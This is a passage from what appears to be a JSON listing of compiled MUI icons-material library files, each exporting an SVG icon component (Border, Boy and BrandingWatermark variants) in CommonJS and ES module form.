    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 21h2v-2h-2zm4 0h2v-2h-2zM7 21h2v-2H7zm4 0h2v-2h-2zm8-4h2v-2h-2zm0-4h2v-2h-2zM3 3v18h2V5h16V3zm16 6h2V7h-2z\"\n}), 'BorderStyleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderStyleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 21h2v-2h-2zm4 0h2v-2h-2zM7 21h2v-2H7zm4 0h2v-2h-2zm8-4h2v-2h-2zm0-4h2v-2h-2zM3 3v18h2V5h16V3zm16 6h2V7h-2z\"\n}), 'BorderStyleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderStyleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19h2v2h-2zm0-8h2v2h-2zm0 4h2v2h-2zm-4 4h2v2h-2zM3 21h2V5h16V3H3zM19 7h2v2h-2zm-8 12h2v2h-2zm-4 0h2v2H7z\"\n}), 'BorderStyleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderStyleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19h2v2h-2zm0-8h2v2h-2zm0 4h2v2h-2zm-4 4h2v2h-2zM3 21h2V5h16V3H3zM19 7h2v2h-2zm-8 12h2v2h-2zm-4 0h2v2H7z\"\n}), 'BorderStyleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderTop.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 21h2v-2H7zm0-8h2v-2H7zm4 0h2v-2h-2zm0 8h2v-2h-2zm-8-4h2v-2H3zm0 4h2v-2H3zm0-8h2v-2H3zm0-4h2V7H3zm8 8h2v-2h-2zm8-8h2V7h-2zm0 4h2v-2h-2zM3 3v2h18V3zm16 14h2v-2h-2zm-4 4h2v-2h-2zM11 9h2V7h-2zm8 12h2v-2h-2zm-4-8h2v-2h-2z\"\n}), 'BorderTop');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderTop.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 21h2v-2H7zm0-8h2v-2H7zm4 0h2v-2h-2zm0 8h2v-2h-2zm-8-4h2v-2H3zm0 4h2v-2H3zm0-8h2v-2H3zm0-4h2V7H3zm8 8h2v-2h-2zm8-8h2V7h-2zm0 4h2v-2h-2zM3 3v2h18V3zm16 14h2v-2h-2zm-4 4h2v-2h-2zM11 9h2V7h-2zm8 12h2v-2h-2zm-4-8h2v-2h-2z\"\n}), 'BorderTop');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderTopOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 21h2v-2H7zm0-8h2v-2H7zm4 0h2v-2h-2zm0 8h2v-2h-2zm-8-4h2v-2H3zm0 4h2v-2H3zm0-8h2v-2H3zm0-4h2V7H3zm8 8h2v-2h-2zm8-8h2V7h-2zm0 4h2v-2h-2zM3 3v2h18V3zm16 14h2v-2h-2zm-4 4h2v-2h-2zM11 9h2V7h-2zm8 12h2v-2h-2zm-4-8h2v-2h-2z\"\n}), 'BorderTopOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderTopOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 21h2v-2H7zm0-8h2v-2H7zm4 0h2v-2h-2zm0 8h2v-2h-2zm-8-4h2v-2H3zm0 4h2v-2H3zm0-8h2v-2H3zm0-4h2V7H3zm8 8h2v-2h-2zm8-8h2V7h-2zm0 4h2v-2h-2zM3 3v2h18V3zm16 14h2v-2h-2zm-4 4h2v-2h-2zM11 9h2V7h-2zm8 12h2v-2h-2zm-4-8h2v-2h-2z\"\n}), 'BorderTopOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderTopRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 21h2v-2H7zm0-8h2v-2H7zm4 0h2v-2h-2zm0 8h2v-2h-2zm-8-4h2v-2H3zm0 4h2v-2H3zm0-8h2v-2H3zm0-4h2V7H3zm8 8h2v-2h-2zm8-8h2V7h-2zm0 4h2v-2h-2zM3 4c0 .55.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1m16 13h2v-2h-2zm-4 4h2v-2h-2zM11 9h2V7h-2zm8 12h2v-2h-2zm-4-8h2v-2h-2z\"\n}), 'BorderTopRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderTopRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 21h2v-2H7zm0-8h2v-2H7zm4 0h2v-2h-2zm0 8h2v-2h-2zm-8-4h2v-2H3zm0 4h2v-2H3zm0-8h2v-2H3zm0-4h2V7H3zm8 8h2v-2h-2zm8-8h2V7h-2zm0 4h2v-2h-2zM3 4c0 .55.45 1 1 1h16c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1 .45-1 1m16 13h2v-2h-2zm-4 4h2v-2h-2zM11 9h2V7h-2zm8 12h2v-2h-2zm-4-8h2v-2h-2z\"\n}), 'BorderTopRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderTopSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 21h2v-2H7zm0-8h2v-2H7zm4 0h2v-2h-2zm0 8h2v-2h-2zm-8-4h2v-2H3zm0 4h2v-2H3zm0-8h2v-2H3zm0-4h2V7H3zm8 8h2v-2h-2zm8-8h2V7h-2zm0 4h2v-2h-2zM3 3v2h18V3zm16 14h2v-2h-2zm-4 4h2v-2h-2zM11 9h2V7h-2zm8 12h2v-2h-2zm-4-8h2v-2h-2z\"\n}), 'BorderTopSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderTopSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 21h2v-2H7zm0-8h2v-2H7zm4 0h2v-2h-2zm0 8h2v-2h-2zm-8-4h2v-2H3zm0 4h2v-2H3zm0-8h2v-2H3zm0-4h2V7H3zm8 8h2v-2h-2zm8-8h2V7h-2zm0 4h2v-2h-2zM3 3v2h18V3zm16 14h2v-2h-2zm-4 4h2v-2h-2zM11 9h2V7h-2zm8 12h2v-2h-2zm-4-8h2v-2h-2z\"\n}), 'BorderTopSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderTopTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19h2v2h-2zM3 19h2v2H3zm8 0h2v2h-2zm-8-8h2v2H3zm0 4h2v2H3zm4 4h2v2H7zm4-12h2v2h-2zm0 4h2v2h-2zM3 7h2v2H3zm0-4h18v2H3zm8 12h2v2h-2zm4 4h2v2h-2zm-8-8h2v2H7zm8 0h2v2h-2zm4 4h2v2h-2zm0-4h2v2h-2zm0-4h2v2h-2z\"\n}), 'BorderTopTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderTopTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19h2v2h-2zM3 19h2v2H3zm8 0h2v2h-2zm-8-8h2v2H3zm0 4h2v2H3zm4 4h2v2H7zm4-12h2v2h-2zm0 4h2v2h-2zM3 7h2v2H3zm0-4h18v2H3zm8 12h2v2h-2zm4 4h2v2h-2zm-8-8h2v2H7zm8 0h2v2h-2zm4 4h2v2h-2zm0-4h2v2h-2zm0-4h2v2h-2z\"\n}), 'BorderTopTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderVertical.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 9h2V7H3zm0-4h2V3H3zm4 16h2v-2H7zm0-8h2v-2H7zm-4 0h2v-2H3zm0 8h2v-2H3zm0-4h2v-2H3zM7 5h2V3H7zm12 12h2v-2h-2zm-8 4h2V3h-2zm8 0h2v-2h-2zm0-8h2v-2h-2zm0-10v2h2V3zm0 6h2V7h-2zm-4-4h2V3h-2zm0 16h2v-2h-2zm0-8h2v-2h-2z\"\n}), 'BorderVertical');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderVertical.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 9h2V7H3zm0-4h2V3H3zm4 16h2v-2H7zm0-8h2v-2H7zm-4 0h2v-2H3zm0 8h2v-2H3zm0-4h2v-2H3zM7 5h2V3H7zm12 12h2v-2h-2zm-8 4h2V3h-2zm8 0h2v-2h-2zm0-8h2v-2h-2zm0-10v2h2V3zm0 6h2V7h-2zm-4-4h2V3h-2zm0 16h2v-2h-2zm0-8h2v-2h-2z\"\n}), 'BorderVertical');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderVerticalOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 9h2V7H3zm0-4h2V3H3zm4 16h2v-2H7zm0-8h2v-2H7zm-4 0h2v-2H3zm0 8h2v-2H3zm0-4h2v-2H3zM7 5h2V3H7zm12 12h2v-2h-2zm-8 4h2V3h-2zm8 0h2v-2h-2zm0-8h2v-2h-2zm0-10v2h2V3zm0 6h2V7h-2zm-4-4h2V3h-2zm0 16h2v-2h-2zm0-8h2v-2h-2z\"\n}), 'BorderVerticalOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderVerticalOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 9h2V7H3zm0-4h2V3H3zm4 16h2v-2H7zm0-8h2v-2H7zm-4 0h2v-2H3zm0 8h2v-2H3zm0-4h2v-2H3zM7 5h2V3H7zm12 12h2v-2h-2zm-8 4h2V3h-2zm8 0h2v-2h-2zm0-8h2v-2h-2zm0-10v2h2V3zm0 6h2V7h-2zm-4-4h2V3h-2zm0 16h2v-2h-2zm0-8h2v-2h-2z\"\n}), 'BorderVerticalOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderVerticalRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 9h2V7H3zm0-4h2V3H3zm4 16h2v-2H7zm0-8h2v-2H7zm-4 0h2v-2H3zm0 8h2v-2H3zm0-4h2v-2H3zM7 5h2V3H7zm12 12h2v-2h-2zm-7 4c.55 0 1-.45 1-1V4c0-.55-.45-1-1-1s-1 .45-1 1v16c0 .55.45 1 1 1m7 0h2v-2h-2zm0-8h2v-2h-2zm0-10v2h2V3zm0 6h2V7h-2zm-4-4h2V3h-2zm0 16h2v-2h-2zm0-8h2v-2h-2z\"\n}), 'BorderVerticalRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderVerticalRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 9h2V7H3zm0-4h2V3H3zm4 16h2v-2H7zm0-8h2v-2H7zm-4 0h2v-2H3zm0 8h2v-2H3zm0-4h2v-2H3zM7 5h2V3H7zm12 12h2v-2h-2zm-7 4c.55 0 1-.45 1-1V4c0-.55-.45-1-1-1s-1 .45-1 1v16c0 .55.45 1 1 1m7 0h2v-2h-2zm0-8h2v-2h-2zm0-10v2h2V3zm0 6h2V7h-2zm-4-4h2V3h-2zm0 16h2v-2h-2zm0-8h2v-2h-2z\"\n}), 'BorderVerticalRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderVerticalSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 9h2V7H3zm0-4h2V3H3zm4 16h2v-2H7zm0-8h2v-2H7zm-4 0h2v-2H3zm0 8h2v-2H3zm0-4h2v-2H3zM7 5h2V3H7zm12 12h2v-2h-2zm-8 4h2V3h-2zm8 0h2v-2h-2zm0-8h2v-2h-2zm0-10v2h2V3zm0 6h2V7h-2zm-4-4h2V3h-2zm0 16h2v-2h-2zm0-8h2v-2h-2z\"\n}), 'BorderVerticalSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderVerticalSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 9h2V7H3zm0-4h2V3H3zm4 16h2v-2H7zm0-8h2v-2H7zm-4 0h2v-2H3zm0 8h2v-2H3zm0-4h2v-2H3zM7 5h2V3H7zm12 12h2v-2h-2zm-8 4h2V3h-2zm8 0h2v-2h-2zm0-8h2v-2h-2zm0-10v2h2V3zm0 6h2V7h-2zm-4-4h2V3h-2zm0 16h2v-2h-2zm0-8h2v-2h-2z\"\n}), 'BorderVerticalSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderVerticalTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 3h2v2H7zm0 8h2v2H7zm0 8h2v2H7zm-4 0h2v2H3zM3 3h2v2H3zm0 8h2v2H3zm16-8h2v2h-2zM3 7h2v2H3zm8-4h2v18h-2zM3 15h2v2H3zm12-4h2v2h-2zm4 4h2v2h-2zm0-4h2v2h-2zm0-4h2v2h-2zm0 12h2v2h-2zm-4 0h2v2h-2zm0-16h2v2h-2z\"\n}), 'BorderVerticalTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BorderVerticalTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 3h2v2H7zm0 8h2v2H7zm0 8h2v2H7zm-4 0h2v2H3zM3 3h2v2H3zm0 8h2v2H3zm16-8h2v2h-2zM3 7h2v2H3zm8-4h2v18h-2zM3 15h2v2H3zm12-4h2v2h-2zm4 4h2v2h-2zm0-4h2v2h-2zm0-4h2v2h-2zm0 12h2v2h-2zm-4 0h2v2h-2zm0-16h2v2h-2z\"\n}), 'BorderVerticalTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Boy.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7.5c.97 0 1.75-.78 1.75-1.75S12.97 4 12 4s-1.75.78-1.75 1.75S11.03 7.5 12 7.5M14 20v-5h1v-4.5c0-1.1-.9-2-2-2h-2c-1.1 0-2 .9-2 2V15h1v5z\"\n}), 'Boy');"
  },
  {
    "path": "packages/mui-icons-material/lib/Boy.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7.5c.97 0 1.75-.78 1.75-1.75S12.97 4 12 4s-1.75.78-1.75 1.75S11.03 7.5 12 7.5M14 20v-5h1v-4.5c0-1.1-.9-2-2-2h-2c-1.1 0-2 .9-2 2V15h1v5z\"\n}), 'Boy');"
  },
  {
    "path": "packages/mui-icons-material/lib/BoyOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7.5c.97 0 1.75-.78 1.75-1.75S12.97 4 12 4s-1.75.78-1.75 1.75S11.03 7.5 12 7.5M14 20v-5h1v-4.5c0-1.1-.9-2-2-2h-2c-1.1 0-2 .9-2 2V15h1v5z\"\n}), 'BoyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BoyOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7.5c.97 0 1.75-.78 1.75-1.75S12.97 4 12 4s-1.75.78-1.75 1.75S11.03 7.5 12 7.5M14 20v-5h1v-4.5c0-1.1-.9-2-2-2h-2c-1.1 0-2 .9-2 2V15h1v5z\"\n}), 'BoyOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BoyRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7.5c.97 0 1.75-.78 1.75-1.75S12.97 4 12 4s-1.75.78-1.75 1.75S11.03 7.5 12 7.5M14 19c0 .55-.45 1-1 1h-2c-.55 0-1-.45-1-1v-4c-.55 0-1-.45-1-1v-3.5c0-1.1.9-2 2-2h2c1.1 0 2 .9 2 2V14c0 .55-.45 1-1 1z\"\n}), 'BoyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BoyRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7.5c.97 0 1.75-.78 1.75-1.75S12.97 4 12 4s-1.75.78-1.75 1.75S11.03 7.5 12 7.5M14 19c0 .55-.45 1-1 1h-2c-.55 0-1-.45-1-1v-4c-.55 0-1-.45-1-1v-3.5c0-1.1.9-2 2-2h2c1.1 0 2 .9 2 2V14c0 .55-.45 1-1 1z\"\n}), 'BoyRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BoySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7.5c.97 0 1.75-.78 1.75-1.75S12.97 4 12 4s-1.75.78-1.75 1.75S11.03 7.5 12 7.5M14 20v-5h1v-4.5c0-1.1-.9-2-2-2h-2c-1.1 0-2 .9-2 2V15h1v5z\"\n}), 'BoySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BoySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7.5c.97 0 1.75-.78 1.75-1.75S12.97 4 12 4s-1.75.78-1.75 1.75S11.03 7.5 12 7.5M14 20v-5h1v-4.5c0-1.1-.9-2-2-2h-2c-1.1 0-2 .9-2 2V15h1v5z\"\n}), 'BoySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BoyTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7.5c.97 0 1.75-.78 1.75-1.75S12.97 4 12 4s-1.75.78-1.75 1.75S11.03 7.5 12 7.5M14 20v-5h1v-4.5c0-1.1-.9-2-2-2h-2c-1.1 0-2 .9-2 2V15h1v5z\"\n}), 'BoyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BoyTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7.5c.97 0 1.75-.78 1.75-1.75S12.97 4 12 4s-1.75.78-1.75 1.75S11.03 7.5 12 7.5M14 20v-5h1v-4.5c0-1.1-.9-2-2-2h-2c-1.1 0-2 .9-2 2V15h1v5z\"\n}), 'BoyTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrandingWatermark.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16h-9v-6h9z\"\n}), 'BrandingWatermark');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrandingWatermark.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h18c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16h-9v-6h9z\"\n}), 'BrandingWatermark');"
  },
  {
    "path": "packages/mui-icons-material/lib/BrandingWatermarkOutlined.js",
